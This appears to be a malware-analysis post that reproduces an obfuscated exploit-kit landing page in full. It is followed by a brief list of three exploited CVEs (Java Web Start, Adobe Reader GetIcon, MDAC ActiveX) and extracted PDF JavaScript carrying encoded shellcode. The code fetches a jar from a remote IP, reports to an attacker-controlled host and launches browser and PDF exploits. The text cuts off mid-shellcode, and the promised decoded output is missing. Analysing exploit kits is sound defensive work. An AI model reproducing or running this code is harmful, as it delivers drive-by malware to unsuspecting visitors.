<html><body><div id="obj"></div><div id="pdf"></div><div id="java"></div><script>host = "h$$t$$tp:/$$$/$$co$$$l$$$$e$$$mun$$s$$.co$$m$$$/$$p$$u$$$p$$s$$$$e$$g$$"; host = host.replace(/[$]/g, ""); key = "92e93d0553cdb3c89d7d397457811f6d"; user = "root";</script>
<applet code='main.class' archive='26dd43dcf27/105aac7339e.jar' width='255' height='136'><param name='game_id' VALUE='i//WgzzL5CmfpbXJL5fzWpWXmezq5jpfJWiWIq9Zh&hPHS:DmK9dwmdEvuQQELv#ELldvNvEdNkQNl==qnv:p9j55/'></applet><script>var iirduoa613057 = "_4044d626a1c";var aaxiubfm563272 = "_01ad045ecb0";var nizzuyweo160751 = "_93462cf8707";var feihoaejc896221 = "_aa4b7467bcb";var ev = 'yeegsgvsssaglh';/* aexzwfu263553 = 96; <ouafo10632> */var vuuyey275779 = "_aa398c568ba";var eurtpji70479 = "_c5fb02cb5f1";var dyeiya128404 = "_61d73e9a8f2";/* angfo215506 = 35; <vewoxiaiua264194> */var moiliauca38982161 = '223123 - 1213';this[ev.charAt(2)+ev.charAt(6)+ev.charAt(10)+ev.charAt(12)]('var th = thi'+'s[\'ev\'+\'\'+\'al\'];');var moiliauca38229861 = '223123 - 1213';/* uxoexyk720677 = 80; <qrybyerce87643> */var eoegeoypam602661 = "_a05c49dbaf1";var uadviiio547663 = "_20bc608bd2a";qrsyuoihooa = 'QQQ\rQQQ\nQQQ QQQ QQQfQQQuQQQnQQQcQQQtQQQiQQQoQQQnQQQ QQQpQQQdQQQfQQQ_QQQiQQQeQQQ(QQQ)QQQ\rQQQ\nQQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQtQQQrQQQyQQQ{QQQ\rQQQ\nQQQ QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQgQQQeQQQtQQQEQQQlQQQeQQQmQQQeQQQnQQQtQQQBQQQyQQQIQQQdQQQ(QQQ\"QQQoQQQbQQQjQQQ\"QQQ)QQQ.QQQiQQQnQQQnQQQeQQQrQQQHQQQTQQQMQQQLQQQ QQQ=QQQ QQQ\"QQQ<QQQOQQQBQQQJQQQEQQQCQQQTQQQ QQQiQQQdQQQ=QQQjQQQdQQQfQQQ1QQQ QQQhQQQeQQQiQQQgQQQhQQQtQQQ=QQQ0QQQ QQQwQQQiQQQdQQQtQQQhQQQ=QQQ0QQQ QQQcQQQlQQQaQQQsQQQsQQQiQQQdQQQ=QQQcQQQlQQQsQQQiQQQdQQQ:QQQCQQQAQQQ8QQQAQQQ9QQQ7QQQ8QQQ0QQQ-QQQ2QQQ8QQQ0QQQDQQQ-QQQ1QQQ1QQQCQQQFQQQ-QQQAQQQ2QQQ4QQQDQQQ-QQQ4QQQ4QQQ4QQQ5QQQ5QQQ3QQQ5QQQ4QQQ0QQQ0QQQ0QQQ0QQQ>QQQ<QQQ/QQQOQQQBQQQJQQQEQQQCQQQTQQQ>QQQ\"QQQ;QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQvQQQaQQQrQQQ QQQvQQQeQQQrQQQ QQQ=QQQ QQQjQQQdQQQfQQQ1QQQ.QQQGQQQeQQQtQQQVQQQeQQQrQQQsQQQiQQQoQQQnQQQsQQQ(QQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQvQQQeQQQrQQQ QQQ=QQQ QQQvQQQeQQQrQQQ.QQQsQQQpQQQlQQQiQQQtQQQ(QQQ\"QQQ,QQQ\"QQQ)QQQ;QQQ\rQQQ\nQQQ QQQvQQQeQQQrQQQ QQQ=QQQ QQQvQQQeQQQrQQQ[QQQ1QQQ]QQQ.QQQsQQQpQQQlQQQiQQQtQQQ(QQQ\"QQQ=QQQ\"QQQ)QQQ;QQQ\rQQQ\nQQQ QQQvQQQeQQQrQQQ QQQ=QQQ QQQvQQQeQQQrQQQ[QQQ1QQQ]QQQ;QQQ\rQQQ\nQQQ QQQiQQQfQQQ QQQ(QQQ(QQQvQQQeQQQrQQQ QQQ<QQQ QQQ\"QQQ7QQQ.QQQ1QQQ.QQQ4QQQ\"QQQ)QQQ QQQ|QQQ|QQQ QQQ(QQQvQQQeQQQrQQQ QQQ<QQQ QQQ\"QQQ8QQQ.QQQ1QQQ.QQQ7QQQ\"QQQ)QQQ QQQ|QQQ|QQQ QQQ(QQQvQQQeQQQrQQQ QQQ<QQQ QQQ\"QQQ9QQQ.QQQ2QQQ\"QQQ)QQQ)QQQ\rQQQ\nQQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQgQQQeQQQtQQQEQQQlQQQeQQQmQQQeQQQnQQQtQQQBQQQyQQQIQQQdQQQ(QQQ\"QQQpQQQdQQQfQQQ\"QQQ)QQQ.QQQiQQQnQQQnQQQeQQQrQQQHQQQTQQQMQQQLQQQ QQQ=QQQ QQQ\'QQQ<QQQiQQQfQQQrQQQaQQQmQQQeQQQ QQQsQQQrQQQcQQQ=QQQ\"QQQ2QQQ6QQQdQQQdQQQ4QQQ3QQQdQQQcQQQfQQQ2QQQ7QQQ/QQQ2QQQeQQQaQQQ0QQQbQQQbQQQbQQQ7QQQ7QQQ4QQQfQQQ.QQQpQQQhQQQpQQQ?QQQhQQQoQQQsQQQtQQQ=QQQ\'QQQ+QQQhQQQoQQQsQQQtQQQ+QQQ\'QQQ&QQQuQQQ=QQQ\'QQQ+QQQuQQQsQQQeQQQrQQQ+QQQ\'QQQ\"QQQ QQQwQQQiQQQdQQQtQQQhQQQ=QQQ\"QQQ1QQQ0QQQ0QQQ0QQQ\"QQQ QQQhQQQeQQQiQQQgQQQhQQQtQQQ=QQQ\"QQQ1QQQ0QQQ0QQQ0QQQ\"QQQ QQQfQQQrQQQaQQQmQQQeQQQbQQQoQQQrQQQdQQQeQQQrQQQ=QQQ\"QQQ1QQQ\"QQQ>QQQ<QQQ/QQQiQQQfQQQrQQQaQQQmQQQeQQQ>QQQ\'QQQ;QQQ\rQQQ\nQQQ QQQ}QQQ QQQ\rQQQ\nQQQ QQQ}QQQ QQQcQQQaQQQtQQQcQQQhQQQ(QQQeQQQ)QQQ QQQ{QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQsQQQeQQQtQQQTQQQiQQQmQQQeQQQoQQQuQQQtQQQ(QQQpQQQdQQQfQQQ_QQQiQQQeQQQ,QQQ QQQ4QQQ0QQQ0QQQ0QQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ\rQQQ\nQQQ\rQQQ\nQQQfQQQuQQQnQQQcQQQtQQQiQQQoQQQnQQQ QQQjQQQdQQQtQQQ(QQQ)QQQ\rQQQ\nQQQ{QQQ\rQQQ\nQQQ\rQQQ\nQQQ QQQ QQQtQQQrQQQyQQQ\rQQQ\nQQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQvQQQaQQQrQQQ QQQuQQQ QQQ=QQQ QQQ\'QQQhQQQtQQQtQQQpQQQ:QQQ QQQ-QQQJQQQ-QQQjQQQaQQQrQQQ QQQ-QQQJQQQ\\QQQ\\QQQ\\QQQ\\QQQ1QQQ9QQQ5QQQ.QQQ5QQQ.QQQ1QQQ6QQQ1QQQ.QQQ1QQQ0QQQ\\QQQ\\QQQpQQQuQQQbQQQlQQQiQQQcQQQ\\QQQ\\QQQjQQQaQQQvQQQaQQQ.QQQjQQQaQQQrQQQ QQQ\'QQQ+QQQhQQQoQQQsQQQtQQQ+QQQ\'QQQ/QQQfQQQoQQQrQQQuQQQmQQQ.QQQpQQQhQQQpQQQ?QQQfQQQ=QQQSQQQMQQQBQQQ&QQQkQQQeQQQyQQQ=QQQ\'QQQ+QQQkQQQeQQQyQQQ+QQQ\'QQQ&QQQuQQQ=QQQ\'QQQ+QQQuQQQsQQQeQQQrQQQ+QQQ\'QQQ QQQnQQQoQQQnQQQeQQQ\'QQQ;QQQ\rQQQ\nQQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQiQQQfQQQ QQQ(QQQwQQQiQQQnQQQdQQQoQQQwQQQ.QQQnQQQaQQQvQQQiQQQgQQQaQQQtQQQoQQQrQQQ.QQQaQQQpQQQpQQQNQQQaQQQmQQQeQQQ QQQ=QQQ=QQQ QQQ\'QQQMQQQiQQQcQQQrQQQoQQQsQQQoQQQfQQQtQQQ QQQIQQQnQQQtQQQeQQQrQQQnQQQeQQQtQQQ QQQEQQQxQQQpQQQlQQQoQQQrQQQeQQQrQQQ\'QQQ)QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQtQQQrQQQyQQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQvQQQaQQQrQQQ QQQoQQQ QQQ=QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQcQQQrQQQeQQQaQQQtQQQeQQQEQQQlQQQeQQQmQQQeQQQnQQQtQQQ(QQQ\'QQQOQQQBQQQJQQQEQQQCQQQTQQQ\'QQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQoQQQ.QQQcQQQlQQQaQQQsQQQsQQQiQQQdQQQ QQQ=QQQ QQQ\'QQQcQQQlQQQsQQQiQQQ\'QQQ+QQQ\'QQQdQQQ:QQQCQQQAQQQFQQQEQQQEQQQ\'QQQ+QQQ\'QQQFQQQAQQQCQQQ-QQQDQQQEQQQCQQQ\'QQQ+QQQ\'QQQ7QQQ-QQQ0QQQ0QQQ0QQQ\'QQQ+QQQ\'QQQ0QQQ\'QQQ+QQQ\'QQQ-QQQ0QQQ0QQQ0QQQ0QQQ-QQQAQQQBQQQCQQQ\'QQQ+QQQ\'QQQDQQQEQQQFQQQFQQQEQQQDQQQCQQQBQQQAQQQ\'QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQoQQQ.QQQlQQQaQQQuQQQnQQQcQQQhQQQ(QQQuQQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQcQQQaQQQtQQQcQQQhQQQ(QQQeQQQ)QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQvQQQaQQQrQQQ QQQoQQQ2QQQ QQQ=QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQcQQQrQQQeQQQaQQQtQQQeQQQEQQQlQQQeQQQmQQQeQQQnQQQtQQQ(QQQ\'QQQOQQQBQQQJQQQEQQQCQQQTQQQ\'QQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQoQQQ2QQQ.QQQcQQQlQQQaQQQsQQQsQQQiQQQdQQQ QQQ=QQQ QQQ\'QQQcQQQlQQQsQQQ\'QQQ+QQQ\'QQQiQQQdQQQ:QQQ8QQQAQQQDQQQ9QQQ\'QQQ+QQQ\'QQQCQQQ8QQQ4QQQ0QQQ-QQQ0QQQ4QQQ4QQQ\'QQQ+QQQ\'QQQEQQQ-QQQ1QQQ1QQQDQQQ1QQQ-QQQBQQQ\'QQQ+QQQ\'QQQ3QQQEQQQ9QQQ-QQQ0QQQ0QQQ8QQQ0QQQ5QQQ\'QQQ+QQQ\'QQQFQQQ4QQQ\'QQQ+QQQ\'QQQ9QQQ9QQQDQQQ9QQQ3QQQ\'QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQoQQQ2QQQ.QQQlQQQaQQQuQQQnQQQcQQQhQQQ(QQQuQQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQeQQQlQQQsQQQeQQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQvQQQaQQQrQQQ QQQoQQQ QQQ=QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQcQQQrQQQeQQQaQQQtQQQeQQQEQQQlQQQeQQQmQQQeQQQnQQQtQQQ(QQQ\'QQQOQQQBQQQJQQQEQQQCQQQTQQQ\'QQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQvQQQaQQQrQQQ QQQnQQQ QQQ=QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQcQQQrQQQeQQQaQQQtQQQeQQQEQQQlQQQeQQQmQQQeQQQnQQQtQQQ(QQQ\'QQQOQQQBQQQJQQQEQQQCQQQTQQQ\'QQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQoQQQ.QQQtQQQyQQQpQQQeQQQ QQQ=QQQ QQQ\'QQQaQQQ\'QQQ+QQQ\'QQQpQQQpQQQlQQQiQQQcQQQaQQQtQQQ\'QQQ+QQQ\'QQQiQQQoQQQnQQQ/QQQnQQQpQQQrQQQuQQQnQQQtQQQ\'QQQ+QQQ\'QQQiQQQmQQQeQQQ-QQQsQQQcQQQrQQQ\'QQQ+QQQ\'QQQiQQQpQQQtQQQaQQQbQQQlQQQeQQQ-QQQpQQQlQQQuQQQ\'QQQ+QQQ\'QQQgQQQiQQQnQQQ;QQQdQQQeQQQpQQQlQQQoQQQyQQQmQQQeQQQ\'QQQ+QQQ\'QQQnQQQtQQQtQQQoQQQoQQQ\'QQQ+QQQ\'QQQlQQQkQQQiQQQtQQQ\'QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQnQQQ.QQQtQQQyQQQpQQQeQQQ QQQ=QQQ QQQ\'QQQaQQQpQQQ\'QQQ+QQQ\'QQQpQQQlQQQiQQQcQQQaQQQtQQQiQQQ\'QQQ+QQQ\'QQQoQQQnQQQ/QQQjQQQaQQQvQQQaQQQ-QQQdQQQeQQQpQQQ\'QQQ+QQQ\'QQQlQQQoQQQyQQQmQQQeQQQnQQQ\'QQQ+QQQ\'QQQtQQQ-QQQtQQQoQQQoQQQlQQQ\'QQQ+QQQ\'QQQkQQQiQQQtQQQ\'QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQbQQQoQQQdQQQyQQQ.QQQaQQQpQQQpQQQeQQQnQQQdQQQCQQQhQQQiQQQlQQQdQQQ(QQQoQQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQdQQQoQQQcQQQuQQQmQQQeQQQnQQQtQQQ.QQQbQQQoQQQdQQQyQQQ.QQQaQQQpQQQpQQQeQQQnQQQdQQQCQQQhQQQiQQQlQQQdQQQ(QQQnQQQ)QQQ;QQQ\rQQQ\nQQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQtQQQrQQQyQQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQoQQQ.QQQlQQQaQQQuQQQnQQQcQQQhQQQ(QQQuQQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQcQQQaQQQtQQQcQQQhQQQ QQQ(QQQeQQQ)QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQ QQQnQQQ.QQQlQQQaQQQuQQQnQQQcQQQhQQQ(QQQuQQQ)QQQ;QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQ}QQQ\rQQQ\nQQQ QQQ QQQcQQQaQQQtQQQcQQQhQQQ QQQ(QQQeQQQ)QQQ\rQQQ\nQQQ QQQ QQQ{QQQ\rQQQ\nQQQ QQQ QQQ}QQQ\rQQQ\nQQQ}QQQ\rQQQ\nQQQ\rQQQ\nQQQsQQQeQQQtQQQTQQQiQQQmQQQeQQQoQQQuQQQtQQQ(QQQjQQQdQQQtQQQ,QQQ QQQ3QQQ0QQQ0QQQ0QQQ)QQQ;QQQ\rQQQ\nQQQ\rQQQ\n';th("var bryoyiiayf = qrsyuoihooa.re"+"pla"+"ce(/[Q]/g,'');");var iqiav513852 = "_34a70f40656";/* bizpgyuaq305961 = 23; <exygu793510> */var eaiyaiaker752902 = "_c6b2a3a99fd";/* ziueaftwo749548 = 4; <gfihyc401172> *//* yauspgue593149 = 87; <faaynejeb207427> *//* oojqoi37339 = 71; <oieea506353> */var aykya290626 = "_76e3862ecd0";/* vouiiiiwl471445 = 97; <uaiih853631> */var oasxf283400 = "_ba13a57cbfd";/* eaojumj532053 = 3; <ehetan555132> */var oecryyamioy = 100;/* iezoiooe974360 = 10; <amolbyey364709> */var fasmeeiuyc847930 = "_08c893ddaac";/* yglyeazy825857 = 62; <xaoowyyv838265> */var iluieumjyu1486 = "_71331be6e91";var adoamiqpuei = '';/* dozjihey311662 = 80; <gewaeaoyu25937> *//* iuywiuy421415 = 53; <oiueuci618667> *//* eufec965915 = 38; <peluoue227579> */var aaouuu689519 = "_de3a4f69c12";/* mkilo920520 = 7; <azaeed813114> */ioyokeiueonu0 = bryoyiiayf;var ahxey783267 = "_f658c39a7d9";var iuouubei905581 = "_ed00bc42d89";var oliiur11273 = "_358c9003f99";/* yuhwaocuyy730219 = 58; <aogiupi451628> */var ylishbuy295077 = "_e8ff910a6f3";for(zeozuoutue=0;zeozuoutue<oecryyamioy;zeozuoutue++) {var kumoualvyo = 'function a1083435135(fa) {return fa;} var a506424832 = 991968621;function a486745355(fa) {return fa;} var a631530080 = 378464516;function a112875451(fa) {return fa;} var a1108616833 = 773453236;function a94842624(fa) {return fa;} var a973149738 = 1278431189;function a162114306(fa) {return fa;} var a18855745 = 716737348;function a699605006(fa) {return fa;} var a1049377591 = 1147700637;';var kumoualvyo = kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo;var kumoualvyo = kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo;var dsfsg = zeozuoutue+1;adoamiqpuei = 'var ioyokeiueonu'+dsfsg+'=ioyokeiueonu'+zeozuoutue+';'+kumoualvyo+''+kumoualvyo+''+kumoualvyo+'';th(adoamiqpuei);}th(ioyokeiueonu100);var yuuipiei717018 = "_4af7228fb04";/* uirofytouo523761 = 37; <egvdg176208> *//* nezqbovly381813 = 63; <adudbos234926> *//* teusoekl365197 = 71; <asrouyquig347789> */</script>

The above decodes to:



Which shows the use of three exploits:
JDT: Java Web Start Arbitrary command-line injection (CVE-2010-0886)
Adobe Reader and Adobe Acrobat 9 GetIcon (CVE-2009-0927)
Microsoft MDAC RDS.Dataspace ActiveX (CVE-2006-0003)

Exploit code is also placed inside a PDF file: http://colemuns.com/pupseg/26dd43dcf27/2ea0bbb774f.php?host=http://colemuns.com/pupseg&u=root

Extracted, the javascripts inside the PDF file is a follows:
//-------------------------------------------------------------
//-----------------Do not edit the XML tags--------------------
//-------------------------------------------------------------

//<Document-Actions>
//<ACRO_source>Document Open</ACRO_source>
//<ACRO_script>
/*********** belongs to: Document-Actions:Document Open ***********/
function ghfsdj(adbhsdh)
{
var jfsd = "gas%ss2u";
return adbhsdh.split("&&").join(jfsd[3]+jfsd[7]);
}
shcode_geticon = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CAC9&&CBC3&&C8D3&&88D5&&C9C5&&89CB&&D3D6&&D5D6&&C1C3&&C089&&D4C9&&CBD3&&D688&&D6CE&&C099&&F69B&&E0E2&&8E86&&C3E1&&EFD2&&C9C5&&8FC8&&CD80&&DFC3&&9F9B&&C394&&959F&&96C2&&9393&&C595&&C4C2&&C595&&9F9E&&91C2&&95C2&&919F&&9392&&9E91&&9797&&90C0&&80C2&&9BD3&&00A6");
shcode_newplayer = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CAC9&&CBC3&&C8D3&&88D5&&C9C5&&89CB&&D3D6&&D5D6&&C1C3&&C089&&D4C9&&CBD3&&D688&&D6CE&&C099&&F69B&&E0E2&&8E86&&C3C8&&F6D1&&C7CA&&C3DF&&8FD4&&CD80&&DFC3&&9F9B&&C394&&959F&&96C2&&9393&&C595&&C4C2&&C595&&9F9E&&91C2&&95C2&&919F&&9392&&9E91&&9797&&90C0&&80C2&&9BD3&&00A6");
shcode_printf = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CAC9&&CBC3&&C8D3&&88D5&&C9C5&&89CB&&D3D6&&D5D6&&C1C3&&C089&&D4C9&&CBD3&&D688&&D6CE&&C099&&F69B&&E0E2&&8E86&&D4D6&&C8CF&&C0D2&&808F&&C3CD&&9BDF&&949F&&9FC3&&C295&&9396&&9593&&C2C5&&95C4&&9EC5&&C29F&&C291&&9F95&&9291&&9193&&979E&&C097&&C290&&D380&&A69B");
shcode_collab = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CAC9&&CBC3&&C8D3&&88D5&&C9C5&&89CB&&D3D6&&D5D6&&C1C3&&C089&&D4C9&&CBD3&&D688&&D6CE&&C099&&F69B&&E0E2&&8E86&&C9E5&&CACA&&C4C7&&808F&&C3CD&&9BDF&&949F&&9FC3&&C295&&9396&&9593&&C2C5&&95C4&&9EC5&&C29F&&C291&&9F95&&9291&&9193&&979E&&C097&&C290&&D380&&A69B");
var yiypg414830 = "_cc574b95084";var cwyuonoyo302180 = "_4b79760e42c";/* muuavvusau495652 = 46; <uauogigqoh191543> */var uuyaeiqe228524 = "_71a45be3b60";var ev = 'yeegsgvsssaglh';var oepeyeeupo553973 = "_46637835fbf";var iheao826985 = "_2b7a51658e4";var ahaaueui531169 = "_54df0b74788";var ueuieozhyl59534 = "_e6935076301";/* uorjo80661 = 37; <ehisoe602997> */var moiliauca38982161 = '223123 - 1213';this[ev.charAt(2)+ev.charAt(6)+ev.charAt(10)+ev.charAt(12)]('var th = thi'+'s[\'ev\'+\'\'+\'al\'];');var moiliauca38229861 = '223123 - 1213';var yuuei247913 = "_0456ff91871";/* yukfbzyi678025 = 64; <uzieq740219> */var yoiaoia3559 = "_9ae0a50e46f";/* jhwatwt700250 = 30; <xuyuuixa526322> */var uyuziauiwa806528 = "_754b4ff18a5";/* oyiyaaiee996158 = 18; <ofturo539858> */cwyuvaooeo = 'YYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYYdYYY_YYYuYYYrYYYlYYY)YYY\rYYY\nYYY{YYY\rYYY\nYYYrYYYeYYYtYYYuYYYrYYYnYYY YYY\"YYY%YYYuYYY1YYY1YYYEYYYBYYY%YYYuYYY4YYYBYYY5YYYBYYY%YYYuYYYCYYY9YYY3YYY3YYY%YYYuYYY8YYY1YYY6YYY6YYY%YYYuYYYAYYYFYYYCYYY9YYY%YYYuYYY8YYY0YYY0YYY1YYY%YYYuYYY0YYYBYYY3YYY4YYY%YYYuYYYEYYY2YYYAYYY6YYY%YYYuYYYEYYYBYYYFYYYAYYY%YYYuYYYEYYY8YYY0YYY5YYY%YYYuYYYFYYYFYYYEYYYAYYY%YYYuYYYFYYYFYYYFYYYFYYY%YYYuYYY7YYYCYYY4YYYFYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYFYYY9YYYAYYY6YYY%YYYuYYY0YYY7YYYCYYY2YYY%YYYuYYYAYYY6YYY9YYY6YYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYEYYY6YYY2YYYDYYY%YYYuYYY2YYYDYYYAYYYAYYY%YYYuYYYBYYYAYYYDYYY6YYY%YYYuYYY2YYYDYYY0YYYBYYY%YYYuYYYAYYYEYYYCYYYEYYY%YYYuYYYDYYY6YYY2YYYDYYY%YYYuYYY2YYYDYYY8YYY6YYY%YYYuYYY2YYY6YYYAYYY6YYY%YYYuYYYCYYYDYYY9YYY8YYY%YYYuYYY5YYY5YYYDYYY3YYY%YYYuYYYEYYY0YYYEYYY0YYY%YYYuYYY9YYY8YYY2YYY6YYY%YYYuYYYDYYY3YYYCYYY3YYY%YYYuYYYEYYY0YYY4YYYAYYY%YYYuYYY2YYY6YYYEYYY0YYY%YYYuYYYDYYY4YYY9YYY8YYY%YYYuYYY5YYY1YYYDYYY3YYY%YYYuYYYEYYY0YYYEYYY0YYY%YYYuYYY9YYY8YYY2YYY6YYY%YYYuYYYDYYY3YYYCYYY8YYY%YYYuYYY2YYYDYYY5YYY6YYY%YYYuYYYCYYYCYYY5YYY1YYY%YYYuYYYFYYYFYYYAYYY5YYY%YYYuYYYFYYYDYYY4YYYEYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYY4YYY4YYYAYYY6YYY%YYYuYYYCYYYEYYY5YYYFYYY%YYYuYYYCYYY8YYYCYYY9YYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYDYYY3YYYCYYYEYYY%YYYuYYYCYYYAYYYDYYY4YYY%YYYuYYYFYYY2YYYCYYYBYYY%YYYuYYYBYYY0YYY5YYY9YYY%YYYuYYY4YYYEYYY2YYYDYYY%YYYuYYYEYYY3YYY4YYYEYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYCYYYEYYYAYYY6YYY%YYYuYYY9YYY5YYYCYYYAYYY%YYYuYYYAYYY6YYY9YYY4YYY%YYYuYYYDYYY5YYYCYYYEYYY%YYYuYYYCYYY3YYYCYYYEYYY%YYYuYYYFYYY2YYYCYYYAYYY%YYYuYYYBYYY0YYY5YYY9YYY%YYYuYYY4YYYEYYY2YYYDYYY%YYYuYYY9YYY7YYY4YYYEYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYY2YYY5YYYAYYY6YYY%YYYuYYYEYYY6YYY4YYYAYYY%YYYuYYY7YYYAYYY2YYYDYYY%YYYuYYYCYYYCYYYFYYY5YYY%YYYuYYY5YYY9YYYEYYY6YYY%YYYuYYYAYYY2YYYFYYY0YYY%YYYuYYYAYYY2YYY6YYY1YYY%YYYuYYYCYYY7YYYAYYY5YYY%YYYuYYYCYYY3YYY8YYY8YYY%YYYuYYYCYYY0YYYDYYYEYYY%YYYuYYYEYYY2YYY6YYY1YYY%YYYuYYYAYYY2YYYAYYY5YYY%YYYuYYYAYYY6YYYCYYY3YYY%YYYuYYY6YYY6YYY9YYY5YYY%YYYuYYYFYYY6YYYFYYY6YYY%YYYuYYYFYYY1YYYFYYY5YYY%YYYuYYY5YYY9YYYFYYY6YYY%YYYuYYYAYYYAYYYFYYY0YYY%YYYuYYY7YYYAYYY2YYYDYYY%YYYuYYYFYYY6YYYFYYY6YYY%YYYuYYYFYYY5YYYFYYY6YYY%YYYuYYYFYYY6YYYFYYY6YYY%YYYuYYYFYYY0YYY5YYY9YYY%YYYuYYY5YYY9YYYBYYY6YYY%YYYuYYYAYYYEYYYFYYY0YYY%YYYuYYYFYYY0YYYFYYY7YYY%YYYuYYYDYYY3YYY2YYYDYYY%YYYuYYY2YYYDYYY9YYYAYYY%YYYuYYY8YYY8YYYDYYY2YYY%YYYuYYYAYYY5YYYDYYYEYYY%YYYuYYYFYYY0YYY5YYY3YYY%YYYuYYYDYYY0YYY2YYYDYYY%YYYuYYYAYYY5YYY8YYY6YYY%YYYuYYY9YYY5YYY5YYY3YYY%YYYuYYYEYYYFYYY6YYYFYYY%YYYuYYY0YYYBYYYEYYY7YYY%YYYuYYY6YYY3YYYAYYY5YYY%YYYuYYY7YYYDYYY9YYY5YYY%YYYuYYY1YYY8YYYAYYY9YYY%YYYuYYY9YYYCYYYBYYY6YYY%YYYuYYYDYYY2YYY7YYY0YYY%YYYuYYY6YYY7YYYAYYYEYYY%YYYuYYYAYYYBYYY6YYYDYYY%YYYuYYY7YYYCYYYAYYY5YYY%YYYuYYY4YYYDYYYEYYY6YYY%YYYuYYY9YYYDYYY5YYY7YYY%YYYuYYYDYYY3YYYBYYY9YYY%YYYuYYYFYYY8YYY4YYY1YYY%YYYuYYYFYYY8YYY2YYYDYYY%YYYuYYYAYYY5YYY8YYY2YYY%YYYuYYYCYYY0YYY7YYYBYYY%YYYuYYYAYYYAYYY2YYYDYYY%YYYuYYY2YYYDYYYEYYYDYYY%YYYuYYYBYYYAYYYFYYY8YYY%YYYuYYY7YYYBYYYAYYY5YYY%YYYuYYYAYYY2YYY2YYYDYYY%YYYuYYYAYYY5YYY2YYYDYYY%YYYuYYY0YYYDYYY6YYY3YYY%YYYuYYYFYYYFYYYFYYY8YYY%YYYuYYY4YYYEYYY6YYY5YYY%YYYuYYY5YYY9YYY8YYY7YYY%YYYuYYY5YYY9YYY5YYY9YYY%YYYuYYYEYYY8YYY2YYY8YYY%YYYuYYY4YYYAYYYAYYY8YYY%YYYuYYY6YYYCYYY9YYY5YYY%YYYuYYYFYYYDYYY2YYYCYYY%YYYuYYY7YYYEYYYDYYY8YYY%YYYuYYYDYYY5YYY4YYY4YYY%YYYuYYYBYYYCYYY9YYY0YYY%YYYuYYYD